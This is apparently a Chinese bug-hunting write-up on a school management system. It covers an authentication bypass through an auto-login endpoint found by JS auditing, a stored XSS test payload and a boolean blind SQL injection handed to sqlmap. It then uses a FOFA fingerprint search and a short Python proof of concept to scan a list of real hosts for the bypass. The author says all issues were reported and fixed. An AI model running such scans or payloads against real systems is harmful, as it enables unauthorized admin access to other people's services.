熟悉的页面,熟悉的弱口令测试,但无果
我就把目光转向js审计,果不其然有新发现,可以根据账号自动登录
于是直接构造请求绕过登录
经典的管理员权限
寻找文本输入
浅析: 前端:这里的标签都是普通标签,没有像RCDATA
元素(RCDATA elements
),有<textarea>
和<title>
,会做一次HTML编码,所以可以直接插入危险的js代码。 后端:没有任何过滤(xs~
所以就简单了,直接插入<script>alert('1')</script>
即可
测试无果
最后发现注入点在第一个函数,果然任何一个输入点都可能是不安全的,是布尔型盲注
后面就是经典Sqlmap了
根据系统指纹在fofa上搜索:"xx系统" && icon_hash="11xxxx"
有32个IP,看了下,有重复的
使用fofa_viewer导出目标 这里我根据第一个逻辑漏洞的漏洞指纹信息,写了一个简单poc
import requestsdef poc(url):
poc_url = url + '/login/doautologin.edu'
data = {'um.userid': "admin"}
try:
res = requests.post(poc_url, data=data, timeout=5)
if (res.headers.get("Set-Cookie")): # 登录成功就会set-cookie
print(url + '/login.html')
except BaseException:
passif __name__ == '__main__':
with open('url.txt', 'r') as f:
for i in f:
poc(i.rstrip('\n'))
以上漏洞均已报告给相应学校且已修复
1)在访问系统当中的时候F12查看源码是一个不错的习惯(尤其是有前端弹框的)
2)前端代码的一切展示行为完全可控(一定要理解这句话)
3)了解程序的底层逻辑,你才能更清晰的知道每一个参数的意义